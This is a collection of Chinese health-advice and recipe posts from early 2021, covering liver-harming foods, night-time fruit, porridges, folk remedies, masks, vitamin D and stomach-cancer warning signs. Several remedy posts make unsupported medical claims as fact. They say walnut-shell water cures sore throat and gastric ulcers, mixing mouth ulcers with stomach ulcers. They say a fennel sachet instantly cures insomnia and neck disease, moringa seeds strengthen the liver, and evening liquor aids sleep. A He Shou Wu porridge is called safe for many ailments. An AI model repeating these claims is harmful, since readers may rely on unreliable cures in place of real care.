4、白酒

白酒性大热,味甘苦辛,归心肝胃经。适量饮用,使循环系统发生兴奋效能。有失眠症者睡前饮少量白酒,有利于睡眠,并能刺激胃液分泌与唾液分泌,起到健胃作用。白酒还有通风、散寒、舒筋、活血作用。

过量之酒是肝的最大杀手,擅于耗血损胃,破坏骨膜和肌肉神经,诱发泌尿系统结石。

5、含亚硝酸盐的食物

主要包括泡菜、腌酸菜、变质的残剩菜,以及发酵的酸煎饼、咸鱼等。这些食品含硝酸盐较多,大量食用后,肠道细菌可将硝酸盐还原为亚硝酸盐,后者可在胃内合成亚硝胺,变成一种强烈的化学致癌物,可引发肝癌。


酸菜 

因此,在食用蔬菜时首先应注意保鲜,防止腐烂,如已腐烂变质不可再食用。刚腌制的蔬菜(如腌酸菜等)不宜大量食用,也不宜过早食用。因为细菌在一周内把菜中的硝酸盐还原成有害的亚硝酸盐势头正旺,一周后由于醋酸及乳酸的分解破坏,亚硝酸盐的含量才逐步下降,所以腌酸菜一定要腌透,最好腌半个月以上再食用。

肝不好的人一定要少吃以上的五种食物,否则给肝带来的伤害不可估计! !

日常养肝小贴士

辣木籽的种子和叶子中含有丰富的营养成分。

辣木最主要营养成份为维生素A、B、B1、B2、B3、C、E、高蛋白质、高纤维。且亦含有六种矿物元素(钙、镁、磷、钾、钠、硫),五种微量元素(锌、铜、铁、锰、硒),及十一种胺基酸(其中八种为身体无法自行合成的必需胺基酸)。胺基酸是活化细胞,增强免疫力,强化性能力的重要元素。

天然辣木籽对排毒及加速新陈代谢有特殊的功效。在平常喝水、泡茶、喝花茶之中,先喝一口后,吃一至三粒(剥壳食内籽)后再喝多量的水,你会觉得刚喝过的水或茶有另一种自然的甘甜味。一般来讲,肝功能代谢不正常的人,第一次吃辣木籽,口感会偏苦,食用后喝500CC温开水,一至两个月后,有强肝、改善睡眠、增强免疫力及记忆力、加速代谢、排毒、减肥等功效。

辣木籽剥外壳食内子,请勿将籽壳丢弃,可用水泡服或作为净水剂。

2021-01-30 / by / in
晚上不要吃这8种水果,喜欢也要戒口!

水果/晚上吃水果/榴莲/ 车厘子/ 牛油果/ 芒果/菠萝 /木瓜/ 桂圆/ 猕猴桃 /山楂

水果是人类补充维生素A和C不可缺少的食物之一,因此不能小看吃水果,说起来它还是一件很严肃的事情呢。

有句话说得好:水果〝早上吃的是金子,中午吃的是银子,晚上吃的是破铜烂铁〞水果虽好,要讲究吃的时间!有些水果晚上吃等于慢性自杀!

晚上最好不要吃哪些水果

1、榴莲

蛋白质、脂肪含量都不高。生糖指数约为42,也不算很高,但在所含成分中,有2/3是糖。对于血糖高、有高血压或者低血压、心功能不佳、胃肠道溃疡的人来说,吃榴连仍需谨慎,最好能减饭量再吃榴连,以免摄入热量超标,加重原有疾病。

2、智利车厘子

糖分多,富含糖、蛋白质、维生素及钙、铁、磷、钾等多种元素,含铁量在水果中名列前茅,是补铁、益脑良品,糖尿病患者不宜贪嘴。


樱桃

3、美国提子

提子皮和提子籽内含有抗氧化物质,对心脑血管疾病具有预防作用。糖分含量高,十个提子的热量相当于二两米饭的热量,糖尿病患者不宜多吃。

4、番荔枝

每100克番荔枝可含总糖15.3%~18.3%,维生素C为265mg。由于释迦口感偏甜,含糖量较高。糖尿病患者应慎食。

5、牛油果

因富含植物脂肪,有〝森林奶油〞之称,是一种高能低糖水果。从保健功能来看,牛油果有健胃清肠的作用,并具有降低胆固醇和血脂,保护心血管和肝脏系统等重要生理功能。适合婴幼儿和老人食用,建议一天吃一个即可。但由于牛油果的植物脂肪含量很高,不宜晚上食用。

6、芒果

是常见的热带水果,生糖指数高,糖尿病患者不宜多吃。又属于致敏食物,过敏体质的人仅仅接触果皮,也有可能过敏,因此过敏体质者要慎食。芒果用盐水浸渍后食用,并不能减少过敏发生机会,只能改善口感。


芒果

7、火龙果

富含维生素B1、B2、B3和维生素C、胡萝卜素、花青素,并含有钙、磷、铁等微量元素和水溶性膳食纤维,可预防便秘、助通便,也被作为〝减肥水果〞 。但由于含有的天然葡萄糖容易吸收,糖尿病人一餐不宜多吃。有肠胃功能紊乱、容易腹泻的人,也应少吃。

8、山竹

富含羟基柠檬酸、山酮素等成分,羟基柠檬酸对抑制脂肪合成、抑制食欲和降低体重有良好功效。但过量摄入,其中所含的氧杂蒽酮有增加酸中毒的可能性。一般一次吃四五个山竹即可。

那么,晚上可以吃的水果有哪些呢?

1、菠萝

菠萝中含有的菠萝蛋白酶能帮助消化蛋白质,补充人体内消化酶的不足,增强消化功能。李时珍在《本草纲目》中也肯定,菠萝可以健脾胃、固元气。餐后吃些菠萝,能开胃顺气,解油腻,助消化。

2、木瓜

木瓜中的木瓜酵素可帮助人体分解肉类蛋白质,饭后吃少量的木瓜,对预防胃溃疡、肠胃炎、消化不良等都有一定的功效。

3、猕猴桃、橘子、山楂等

他们富含大量有机酸,能增加消化酶活性,促进脂肪分解,帮助消化。

4、桂圆

夜宵吃水果既不利于消化,又因为水果含糖过多,容易造成热量过剩,导致肥胖。尤其是入睡前吃纤维含量高的水果,充盈的胃肠会使睡眠受到影响,对肠胃功能差的人来说,更是有损健康。但如果睡眠不好,可以吃几颗桂圆,它有安神助眠的作用,能让你睡得更香。

2021-01-30 / by / in
香酥椒盐芝麻烧饼 越吃越香(视频)

香酥椒盐芝麻烧饼/椒盐芝麻烧饼

今天和大家分享香酥椒盐芝麻烧饼的做法。

北方人爱吃面食,各种面食换着花样吃,面条,馅饼、烙饼、油饼等等各种各样,但有一种人见人爱,酥的掉渣的椒盐芝麻烧饼,永远也吃不够,芝麻的香,椒盐花椒的香,让人回味无穷。

食材:

面团部分:

中筋面粉500克, 30°C温水300毫升, 5克酵母, 5克糖

油酥部分:

面粉30g, 花椒粉4克, 盐6克, 热油 30克

做法:

1. 将酵母放入温水中化开,然后倒入面粉里面,和好后饧发30分钟。

2. 将所有的油酥材料放在碗中,倒入热油制成油酥。

3. 面饧好后擀成薄片,将油酥均匀的涂抹在面片上面,卷起来。切成小块,用手将口收好,揉成圆形,一面粘少许水,再粘上芝麻。

4. 平度锅中放油,放入烧饼,中火烙3-5分钟,然后翻面再烙3-5分钟,最后放入烤盘,把烤箱温度调至160°C,烤10分钟就可以了。

2021-01-29 / by / in ,
人参吃一斤,比不上它一两,保心脏、降血压!

人参吃一斤,比不上它一两/小米——保心脏 护血管/ 降血压糙米–养肺气通鼻窍

吃粥也能吃出健康!

《黄帝内经》里讲“五谷为养”,认为五谷是具有生命力的种子。人要“五谷为养”,就是说:命是要靠五谷滋养的。小米和糙米就是两种不错的粗粮,喝点粗粮粥可以养胃。但是,大多数人不知道常吃这两种米,可以保护心脏,护血管、降血压!

一、小米——保心脏、护血管、降血压!

小米含有多种维生素、胺基酸、脂肪和碳水化合物,营养价值较高,每 100 克小米含蛋白质 9.7 克、脂肪 3.5 克。一般粮食中不含有胡萝卜素,而小米每 100 克含量达 0.12 毫克,维生素 B1 的含量位居所有粮食之首。小米最适合煮粥,不仅口味美味,而且营养易被人体吸收。

鼻炎患者也是可以喝小米粥的。小米粥的营养有多种维生素和无机盐,可以助消化、养胃健脾、安神益气是最佳的食疗滋补品,而且常喝小米粥具有增强人体的免疫力,其中小米因富含维生素B1、B2等,可以很好的增强人体的抵抗力!


小米 

功效:

保护心脏:小米富含镁,有助于调节人的心脏活动,预防心脏病。

保护血管:小米富含镁等多种营养成分,它们能够扩展血管,更好的保护好血管。

降低血压:小米富含 B 族维生素、膳食纤维、烟酸、镁等多种营养成分,它们能够抑制血管收缩,降低血压。尤其是平时身体较为虚弱的高血压患者,更适合用它来调理。

小米南瓜


小米南瓜粥 

南瓜去皮切块,小米洗净后用清水浸泡 20分钟。准备半瓶开水,倒入电饭锅中,下小米煮 30分钟;煮小米时,用搅拌机将南瓜打成泥。 30分钟后,加入南瓜同煮,继续煮 15分钟左右即可,中间要时时搅一搅,避免粘锅。

功效:南瓜富含膳食纤维,对心脏很有好处。哈佛大学一项万人规模调研显示,高纤维饮食者与低纤维饮食者相比,冠心病发作风险降低 40%。

瑞典的一项最新研究也得出类似结论,高纤维饮食女性与低纤维饮食女性相比,患心脏病风险降低 25%。经常食用小米南瓜粥可以保护心脏。

小米红枣粥:


红枣 

小米洗净,锅内水烧开再放入小米,这样不容易糊锅,另外熬的时候把汤勺放在锅内,汁就不会溢出。粥开后再放入红枣,熬至软烂即可,喝粥的时候可加入蜂蜜。

功效:红枣中含有丰富的维生素 C和维生素 P,对于健全毛细血管、维持血管壁的弹性,保护血管有着很好地帮助。经常食用小米红枣粥有保护血管的作用。

二、糙米——养肺气通鼻窍

糙米脱壳后仍保留着一些外皮层、糊粉层和胚芽,它有更多的维生素、膳食纤维与普通精致白米相比糙米更好,结合现在人们普遍的饮食习惯,它被视为是一种绿色的健康食品。

研究表明,糙米中钙的含量是白米的 1.7 倍,含铁量是 2.75 倍,烟碱素是 3.2 倍,维他命 B1 高达 12 倍。糙米中的维生素 E 是白米的 10 倍,纤维素高达 14 倍。同时,汉霖堂中医研究认为,对于鼻炎患者来说,糙米外层组织内含丰富的营养,比起白米更富有许多维他命、矿物质与膳食纤维,因此更适合鼻炎患者食用!


糙米 

功效:糙米中钾、镁、锌、铁、锰等微量元素含量较高,有利于预防心血管疾病和贫血症。保留了大量膳食纤维,能与胆汁中胆固醇结合,促进胆固醇的排出,从而帮助高血脂症患者降低血脂。吃糙米对于鼻炎患者也是多有益处。因为糙米属于清肺食物的一种,有助于养肺气通鼻窍

糙米有营养但味道不好,咋办?

饭始终是给人吃的,如果人不喜欢吃,或者过于难吃,自然就不会受到喜欢。我们建议:精米搭配糙米来吃,营养价值和口感都能兼顾。糙米比例 20%~50% 之间相对来讲更容易被接受。在添加了50%和20%糙米的混合米饭中,获得了更加多的笑脸票数。在吃糙米时泡上几个小时,煮出来会绵软一些。另外,要想让糙米更好吃,煮之前不妨滴几滴醋试试。

玫瑰红豆大枣糙米粥

糙米提前一天泡水准备,然后将沥干水分的糙米和水以1:7的比例加入到砂锅内;将提前煮熟的红豆倒入后,顺时针拌匀,加入大枣,之后倒入玫瑰花转小火慢煮。

功效:温补之效,适合男女老少食用,有肠通便、健美减肥及补血功效,对女性调节情绪和脸色暗淡有一定的缓解作用。

2021-01-29 / by / in
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白发克星 明代养生家留下一个好方子 收藏吧

白发/须发早白/明代的大才子高濂

大家可能都看到了身边很多年轻人出现了不同程度的白发,因为白发也产生了很多苦恼,别着急,今天给有白发的朋友介绍一种有效的食疗方剂,十分简单实用

准备制何首乌60克,粳米100克,红枣5枚,红糖适量。将制首乌加水适量煎取浓汁,去渣,然后加入粳米、红枣,一同入砂锅内煮粥,粥快成熟的时候,加入少许红糖来调味即可。
说起这个办法,我们不能不提到一个人,这就是生活在明代的大才子高濂。

说起这位大才子,可真真不简单。它首先是一位戏曲作家,《雅尚斋诗草》、《芳芷楼词》、《玉簪记》等,都是他的作品 。其次,他还是一位养生大家。一部《遵生八笺》,堪称师至明代中医养生文化的集大成之作。对于这《遵生八笺》,到了近现代也不乏推崇之人。其中最著名的,则当属宋美龄了。

在这部《遵生八笺》里,高濂就收录并介绍了上面这个用于治疗须发早白的食疗办法,且名之曰“仙人粥”。这里面起关键作用的,就是制何首乌。


何首乌 

制何首乌,就是何首乌的炮制品。何首乌,性味苦、甘、涩,温,归肝、心、肾经,功在补肝,益肾,养血,祛风。制何首乌,补肝肾,益精血,乌须发,壮筋骨的功效更强。 《本草求真》说:“何首乌,诸书皆言滋水补肾,黑发轻身,备极赞赏,与地黄功力相似”。不过,脾虚便溏、痰湿内积、肝肾功能不全者不宜服用。

肝主藏血。发为血之余。肝血不足,必然白发。发为肾之华。肾精不足,头发也容易花白。所以,肝肾阴虚,精血不足,乃是早生华发的根本原因。何首乌能滋阴、添精、补肝肾,而且药性平和,所以就适合我们来应用。佐以健脾的红枣,养血的红糖,使得气血更为充足,效果更好。

应该说,这个小办法操作简单,安全高效,适合我们普通人来应用。只不过,在应用的时候,不要吃葱蒜,不要用铁锅来煎煮何首乌。应用前,要请中医师辩证指导。除了白发之外,头晕耳鸣、大便干燥、高血脂、神经衰弱、高血压等,也在其调治范围之列。

2021-01-28 / by / in ,
不用看医生 就能去除牙结石 小妙方快学起来

牙结石/天然除牙垢/核桃壳

牙垢对牙齿的影响也不要小看,牙垢沉积时间越长牙齿危害而增强,当下国外流传一种全天然除牙垢方式,就是〝核桃壳〞,大家是不是感到很神奇,快来看一下吧。

核桃壳本身具有抗菌生物活性,所以在国外许多人利用这个便宜又天然的方式来去除牙垢,或是治疗牙龈出血的症状。

使用方式:在锅中放入约30-40克的核桃壳,再加250公克的水,然后将它水煮20分钟后(记得水要盖过核桃壳喔!)等到煮完后,锅中核桃壳应该已经变成〝核桃糊〞,将它放冷后,把牙刷浸在里面约10分钟,就可以像一般刷牙的方式一样清洁牙齿。

当大家用这样的方式刷完牙以后,记得要多漱口把存在牙齿间的残渣吐掉,这样才会不伤到牙龈,这样的核桃糊一天可以使用2-3次,如果同一份核桃糊最多使用2天就要煮新的。


核桃

核桃壳煮水还可以治嗓子发炎:

准备洗干净的核桃壳两三个,水1,000ml。每天早上将核桃壳放入水中煮,待水开后再煮10分钟即可。每天分两三次将水喝完,坚持半年就有明显的效果。

核桃壳煮水治胃溃疡:

核桃壳煮水,可以治疗口腔溃疡。每天一小把核桃壳,大约有50克,煮水,早晚各服一次。 3个月后,胃胀气、胃溃疡得到了控制。

2021-01-28 / by / in ,
把它放在枕头边闻一闻 秒治失眠 颈椎病

健康/保健/小茴香

小茴香是一味不起眼的小调料,但是对失眠者来说小茴香可是他们的安眠小帮手。

小茴香它不如油盐酱油那样是生活的必需品,但其实它是藏在厨房里的中药高手,拔出病根那可是一点都不含糊的。

材料:

小茴香、食盐、香囊

制作:抓一把小茴香放入香囊,然后再倒入小茴香一半量的食盐,封好口之后摇摇匀就可以了。晚上睡觉时把香囊放在枕头边上,能够助睡眠。

原理:

茴香虽然是一种刺激的调味料,但如果你仔细闻它的味道,会发现是一种比较舒缓的香味。这是因为茴香中含有茴香醇、茴香醚等等一类挥发油的物质,这类物质对我们的精神有一定的镇静作用,进而能够治疗失眠。

再混入一定量的盐,是为了防潮和防虫。因为呼吸时我们呼出的气体中含有大量水分,时间久了会让香囊变得潮湿,容易腐败滋生细菌。而食盐,能够给帮它保质保鲜。两者配合,呵护我们一夜都好眠。睡眠好了,无论精神还是情绪都能处于一个比较好的状态。

你以为小茴香只能治失眠而已吗?那就太小看它啦。


小茴香

01 缓解肩颈痛

茴香籽一两,生盐炒热之后,做小布袋敷在脖子,30分钟,一天2次。这种热敷袋非常好用,胃痛也可以用它,肩周炎也能用它,敷肚脐还能补肾。

02 防止骨质疏松

一项研究成果表明:食用茴香能防止骨骼矿物质的流失和骨质疏松症产生。这是因为茴香能减少破骨细胞的数量,从而对骨骼起到了保护效应。

03 护肝利胆

小茴香挥发的茴香油能够促进肝组织细胞的再生,对于患有肝类疾病的人,能够有效的抑制肝病细胞的繁殖生长,促进正常肝细胞的繁殖再生。小茴香中的多种营养元素及其特有的茴香油等,能够起到促进胆汁分泌的作用,使得胆汁的固体成分比重增加,从而达到护胆的作用。

04 理气和胃

如遇胃寒呕吐、食欲不振、胃脘胀痛者,可与干姜、木香等配伍使用。慢性胃炎、胃及十二指肠溃疡的病人表现出胃脘冷痛、喜温、畏寒肢冷等症状的,可用小茴香100克、生姜200克同捣,再炒黄研末,于每日早晚用小米汤送药10克治疗。

如果你肚子有些痛,可在做菜时加点小茴香,或把小茴香加到米粥中。


小茴香加盐

05 通便

小茴香小茴香所含主要成分为茴香醚、甲基胡椒酚、黄酮等,具有抑菌、调节胃肠功能、利尿、利胆、保肝等作用。如果是便秘,取小茴香3克、萝卜子(莱菔子)3克共研细末,开水冲服,每日2次。

06 杀菌

小茴香除了能挥发茴香油,还含有茴香醚的成分。茴香醚是天然植物中难得的杀菌抗生素,能够有效的杀灭大肠杆菌、痢疾杆菌等细菌预防胃癌,同时还能够起到暖胃护胃的作用。对于那些畏寒胃弱的人而言,在饭菜中少量加点小茴香,不仅能够暖胃护身,还能够有效的预防多种感染性的肠胃疾病。

07 调节气管

小茴香引起含有独特气味,不仅能够起到刺激肠胃的作用,对于气管黏膜的异样,也能够起到刺激作用,从而保证气管的气顺气通。

2021-01-27 / by / in , ,
切记!白菜最好吃的地方“最毒”, 你还在傻傻吃吗?

白菜/农药/白菜 农药/吃白菜的禁忌/白菜 抗癌

在我国北方的冬天,大白菜基本是家家户户餐桌上不可少的食物,各种食用方法也有很多,但是大白菜怎样吃才更健康,这是关键问题。

大白菜是十字花科蔬菜,除含有丰富的维生素、糖类、蛋白质、粗纤维及钙、磷、铁等营养物质外,微量元素锌的含量也高于肉类,并含有能抑制亚硝酸胺吸收的钼。丰富的维生素A、C、微量元素铁和吲哚-3-甲醇,都是天然无毒的防癌、抗癌物质。

白菜味美清爽、开胃健脾,富含丰富的维生素、膳食纤维等营养成分。加上低廉的价格,每一个家庭都可以吃得起,所以是每家每户的日常食材,一个醋溜白菜,美滋美味;但是白菜的这个位置却是“很毒”的,不知道你知不知道?

白菜的菜心很毒, 易残留农药、细菌

大家吃白菜,都喜欢吃白菜的菜心,不仅是菜心美味,还有就是觉得菜心包裹在其中,不受外界的污染,比较安全。但是这种想法是错误的,白菜由播种到长熟,需要经过两三个月的周期。这期间经过施肥、治虫、空气污染等一些列的措施,农药、细菌还是保存其中。

大家都喜欢吃白菜的菜心

吃白菜的禁忌

1、腌制的白菜

腌制的白菜往往在腌制过程中,会产生大量的亚硝酸盐,而亚硝酸盐是致癌物质,长期食用腌制的白菜,会增加患癌的风险。一些老年人做饭图方便,一碗面加点腌菜就够了,但是老年人身体机能下降,免疫力降低,所以更应该少食腌制的白菜。

2、隔夜的剩白菜

新鲜白菜炒熟后,放置久了会把白菜内含有的硝酸盐还原成亚硝酸盐,而亚硝酸盐属于致癌物质。有些家庭不喜欢浪费,就把剩菜放置之后第二天再吃,其实这样会增加致癌的风险,是很不健康的。

3、腐烂的白菜

烂的白菜中含有许多有毒物质

腐烂的白菜中含有许多有毒物质,吃了之后会出现恶心、呕吐、头晕、腹胀、心跳加快的情况,严重时更会出现抽筋和昏迷。为了健康着想,腐烂的白菜一定要丢掉,最好是在它新鲜的状态下食用。

白菜因为比较好煮熟,所以在吃白菜的时候还有一些注意事项,防止白菜营养物质的流失。

注意事项

1、不宜挤汁做菜馅

很多人都喜欢吃白菜猪肉饺子,不仅有大肉的香,还有蔬菜的清新。其实这种做法是错误的,白菜挤汁后,会使白菜的营养物质迅速流失。

2、不宜用铜制品烹制

虽然说现在铜制品器皿已经很少见,但是在农村还有很多铜盆之类的,用来盛置食物,如果用铜质器皿来盛置白菜,会破坏白菜中的抗坏血酸,导致营养物质的流失。

最后,建议大便溏泄、寒痢者尽量少食白菜,白菜中的维生素有通便的作用,容易造成腹泻;大白菜性偏寒凉,脾胃虚寒的人也不要食用,切忌冷食。

2021-01-27 / by / in
肥而不腻的可乐炖肉太好吃了【一分钟料理】(视频)

可乐卤肉/可乐

今天好大家一起分享非常好吃的一道可乐炖肉,它的特点肥而不腻。

可乐除了能当作饮料喝之外,还可以拿来卤肉喔!这道超简单的“可乐卤肉”只要将五花肉切块,煎到两面金黄,倒入温润醇厚的酱油,再加上一瓶可乐,小火慢慢卤40分钟到1个小时,就是一锅光是用闻的就让人口水留不停的卤肉了!

材料:

五花肉 900g

卤包 1包,姜片 适量,葱 1支,米酒 30ml,酱油 100ml,可乐 600ml,胡椒粉 适量,五香粉 适量

做法:

1. 葱切成段,姜切片,五花肉切成大块。

2. 热锅后直接放入五花肉,把五花肉用中小火煎出油脂,并煎到两面金黄。

3. 在锅中放入葱段、姜片,倒入酱油、米酒,接着加入可乐。

4. 加入胡椒粉、五香粉及卤包,煮滚后就可以盖上锅盖,转小火慢慢卤40分钟到1个小时左右即可。

2021-01-26 / by / in ,
彩色口罩会导致致癌吗?毒物专家建议戴这两种

口罩/彩色口罩/染剂/染料/偶氮化合物/致癌/防疫

疫情全球肆虐,防疫措施也纷纷出炉,疫情下口罩已成为民众日常生活的必备用品,在市面上陆续推出各种彩色口罩。

不过日前爆出彩色口罩含有致癌疑虑的消息,民众感到惊讶,深怕有致癌风险。


彩色口罩

对此毒物专家招名威教授表示,民众所担心的致癌物确实有可能出现在口罩上,但只是可能,就算有也有特殊条件才有办法释放。

彩色口罩的染剂会致癌?专家:除非你拿来吃

《今日健康》报道,会有致癌疑虑传出,主要是因为彩色口罩上的染剂“偶氮”,被拿出来讨论是否有“苯胺化合物”,其被认为可能有致癌的风险。对此招名威教授指出,偶氮这样的染剂其实平常本来就普遍用于日常生活的纺织品,在新冠肺炎爆发后,因应大众需求开始用于制作彩色口罩上。不过即便如此,口罩上的使用在整体的产业比例还是偏低。

偶氮化合物AZO(RN=N-R’)是否真的会致癌,主要攸关它的“碳氮键”结构是否被破坏,招名威教授表示,这种碳氮的连结其实在日常生活中也相当常见,且也非常稳定。不过要释放出致癌物也不是不无可能,但情况相当特殊,常见于极酸或高温的情况下,这样的连结才有可能断裂,进而释放出致癌物,并非随时随地都在释放。而就算释放,也未必就是苯胺化合物。


彩色口罩

再进一步来说,口罩一般而言是戴在脸上,或放置在其它一般生活环境当中,基本上不是拿来吃,或者三不五时就拿来舔一口,这些染料常理而言并不会进入人体。总体来说,在日常生活中不会拿来吃、它不会进入人体,又不会遇到极酸或极高温让其释放致癌物的一般情况下,民众是不用过度担心的。

怕染剂偶氮有致癌疑虑?专家:国家队根本没在用

除此之外,招名威教授更进一步指出,即便以最极端的例子来看偶氮染剂的口罩,可能有释放致癌物质的风险,但其实据了解,台湾的口罩国家队生产的医疗口罩,其不织布多数也不是使用化学染色剂,而是使用名为“色母粒”的热塑树脂材料着色剂,再加上PP塑胶粒经高温高压融喷成彩色不织布,最后加工成口罩。如此来看,整个生产过程中没有人们所担心的偶氮,自然也不会有偶氮释放致癌物的疑虑。

还是怕彩色口罩会致癌?专家:可戴非彩色的

即便要把口罩拿来吃,或三不五时就舔口罩,才有可能把还没释放致癌物的偶氮吞下肚;即便是偶氮需在高温、极酸的环境下才有可能释出致癌物;又即便据了解口罩国家队基本上根本没有使用偶氮做染色剂。但相信还是有不少人有所疑虑,怕自己买的口罩可能会有风险。对此招名威教授表示,若要做到毫无疑虑,以目前最好的方式来看,他自己平常是戴无特别染色的口罩,或是有认证的口罩,如此一来自然是目前最安全的作法。

防疫重于外观配戴口罩盖好脸、口、鼻

也提醒民众,口罩最重要的目的是用来防疫,正确戴好口罩非常重要,配戴口罩时应注意压好金属条,并确实盖好整个脸部,包括口鼻,尤其是鼻子,有不少民众只遮口不遮鼻,若是真的无意间暴露在染疫的风险环境中,病毒透过鼻孔即可进入,此举如同两扇门只关一扇,事情做一半。而平时可以用眼镜或小镜子做检查,呼吸时若有起雾代表有缝隙。最后招名威教授也提醒,口罩是消耗品,应记得定期更换,同一个口罩最好还是不要戴超过一天为佳。

2021-01-26 / by / in
醋溜白菜 吃不够的经典家常菜【一分钟料理】(视频)

醋溜白菜/白菜

白菜是最常见的一种蔬菜之一,做法也是多种多样,今天跟着厨师一起学醋熘白菜。

易学易懂的家常醋熘白菜,酸甜开胃,掌握三大要点,一学就会!而且很简单,适合上班一族。

食材:

白菜 1棵,蒜 3瓣,葱 1根,干辣椒 1-2根,

调料:

米醋 80克,味极鲜酱油 60克,白糖 1茶匙,盐 微量,玉米淀粉 1汤匙,香油 少许

做法:

1. 准备工作:白菜洗净,抹刀切片,切好后放入盆中撒微量的盐,杀出水气,但不要将水篦出。干辣椒切段,葱切丝,蒜切片。

2. 调汁:将米醋,酱油,白糖,盐,淀粉,葱蒜和香油放在一起调成汁。

3. 成菜:锅中放少许油,放入干辣椒爆香,变色后倒入白菜,大火煸炒至白菜变透明后倒入料汁大火翻炒几下就可以了。

2021-01-25 / by / in ,
医生忠告:疫情当下 小心维生素D中毒

维生素D/武汉肺炎/抗疫能力/增强骨骼/口腔健康/糖尿病/高血压抑郁症/肾脏衰竭

维生素D对于人体的健康影响非常大,相信大家也都清楚,因为缺乏维生素D可能会导致全身性钙和磷代谢紊乱等一些状况。

并且会在成骨过程中由于钙盐不能沉着而导致以骨骼畸形为主要特征的全身性慢性营养疾病。


维生素D

而对于成年人来说,缺乏维生素D也可能会导致很多心血管病,糖尿病,老年骨质疏松症,以及精神性疾病等等。特别是眼下武汉肺炎肆虐,有报道称维生素D能有效提高抗疫能力的情况下,补充人体日常所需的维生素D显得尤为重要,保证我们所需足额的维生素D,将会有这6大好处:

1. 增强骨骼

维生素D本来就是以其对骨骼的好处而闻名,维生素D有助于促进钙在肠道中的吸收,会促使骨骼正常生长,并且它能够防止骨骼变脆,有助于预防骨质疏松症。


增强骨骼

2. 增强免疫系统,帮助对抗炎症

特别是在疫情期间,是最需要免疫力的时候。

保证维生素D的摄入将能够帮助免疫系统对抗细菌和病毒。

并且在一项实验中,研究人员发现通过补充维生素D将能够使人们降低患上急性呼吸道感染的风险。

3. 加强口腔健康

维生素D在帮助我们身体吸收钙的情况下,同时还会对口腔卫生保护,降低蛀牙以及牙龈疾病风险中起到重要作用。

它能够作为抗炎剂和刺激抗微生物肽的产生。


降低糖尿病风险

4. 预防1型和2型糖尿病

虽然维生素D不能直接有效降低血糖,但是一项研究发现每天摄入1,200毫克钙和大于800 IU维生素D将会有效降低糖尿病风险。

5. 降低高血压

在一项研究中,研究人员发现缺乏维生素D可能导致血压直接升高,所以补充维生素D可能是减缓高血压症状的一种好方法。

6. 对抗抑郁症

没错,研究人员发现,抑郁症和缺乏维生素D之间存在着某种联系。

所以补充维生素D可能是帮助对抗抑郁症的一种方法。

以上就是维生素D对于人体的6大好处,但越是这样,医生其实越担心你们补充过量。毕竟很多人就连生病的时候都会吃多几颗感冒药,期望更好的药效,这恰恰是不对的。

根据数据显示,有很多人都会刻意补充过量维生素D,这可不是什么好消息。


从膳食中摄入

医生建议,70 岁及以下人群每天只需要从膳食中摄入600 IU的维生素 D 即可 ,大于这个岁数的老年人每天在 800 IU方可。

并且,在大多数情况下,从食物中或者是阳光中就能获取到等量的维生素D,如果在这种情况下还要去补充维生素D,那无疑是在拿自己的生命在开玩笑。

IU是经由国际协商规定用以确定具有生物活性的物质含量的国际单位。

每IU的维生素D相当于于0.025微克。 (由于IU与各国之间的重量标准不是同一个系统,所以每种药品的换算不一样,例如每IU的维生素E相当于1毫克,每IU的维生素A相当于0.3微克)

在已知的临床病例中,由服用过量维生素D引起的病症有导致“维生素D中毒”的肾脏衰竭,以及中风等。

在身体已经拥有足量维生素D的时候还要去补充,后果将不可设想。

2021-01-25 / by / in , ,
不痛不痒 发现就是癌症晚期 身体出现5个信号来警报

胃癌/这种癌症不痛不痒/一发现就是晚期/胃癌的5个信号是警报

医生表示:据临床数据显示胃癌早期症状不明显,不痛不痒,一发现就是晚期,所以胃平时出现状况一定要重视,及时看医生,以免胃癌发作。

但是年轻人普遍对胃癌缺乏基本认识,因而早期去医院就诊的非常少,一般都是拿点胃药了事;同时青年人群胃癌的早期表现形式多变,除非详细的检查,否则很难确诊,所以临床误诊率很高。

案例:

最近,32岁的小莉经常出现恶心、腹痛,她还以为是自己凉到了,也就没在意。直到有一次在办公室,她刚接一杯水就突然昏倒在地,同事们见了赶紧将她送往医院,可谁知,这一查出来竟是胃癌晚期!小莉怎么也想不通,当初仅仅因为腹痛而入院,结果竟查出胃癌晚期,任谁也接受不了!

事实上,医生表示:胃癌早期症状不明显,不痛不痒,一发现就是晚期!由于胃癌早期症状不特异、手术切除率低等原因,胃癌已然成为我国第二大致死癌症,临床数据显示,大部分胃癌患者确诊时,已到中晚期,治疗难度非常大,死亡率非常高。


胃癌的早期症状跟普通的胃病基本相似 

调查发现,胃癌的早期症状跟普通的胃病基本相似,很多患者即使发现不对劲,也只是一忍再忍或吃一些胃药,等到真正出现黑便、呕血的时候,往往已经到了晚期。所以,早期发现疾病尤为重要!

当身体出现这5个信号时,是你身体在警报:

信号一:上腹部出现不适

大多表现为饱胀感或者烧灼感。虽能够暂时缓解,但会反复出现。胃溃疡一般不会形成腹部包块,如果在心窝部摸到包块,质硬,表面不光滑,迅速增大,按压有疼痛,放射到背部、左腰部、肚脐部、胸部、心前区,甚至胸骨后。随包块的增大,呕吐也随之加重,此种情况大都是发生了恶变。

信号二:明显消瘦

病人短期内出现容易劳累、疲惫、乏力、食欲减退,以及出现消化不良性的腹泻,特别在进食肉类食物之后腹泻随之加重,恶心、呕吐、吐隔宿食或暗红色食物,对食物中的营养物质有消化吸收障碍,全身状态短期内发生急剧恶变,营养状况变得很差,消瘦明显,体重急速下降,这也可能是恶变的信号。

信号三:胃部泛酸水、嗳气等

症状为吃饱后有饱胀感,提不起食欲,常常伴有反复的嗳气,并且胃部还经常泛酸水,这时候就要警惕了。


胃部泛酸水、嗳气等 

信号四:无法解释的黑便

一般而言,在进食大量的猪、鸡、羊等动物血后,或者服用某种药物后,粪便颜色会加深。如果胃溃疡患者无征兆地出现黑便,或者大便一直带血,就要警惕是否恶变了。

信号五:疼痛性质的改变

胃溃疡为饱餐痛,疼痛在饭后半小时至2小时出现,至下次进餐前疼痛消失。一旦疼痛性质发生了改变,成为持续性的无规则的腹部疼痛或者有所减轻,应警惕。

医生提醒:不想得胃癌,四件事要提前做好!

1、每餐适宜八分饱

生活中,要记得按时吃饭,饮食时间不正常非常容易伤胃。另外,吃饭八分饱即可,不要把自己胃部吃到承受不住。还有,食物的温度不要过烫,以免进入到胃部伤害胃粘膜,引起胃癌。

2、腌制类食物少碰

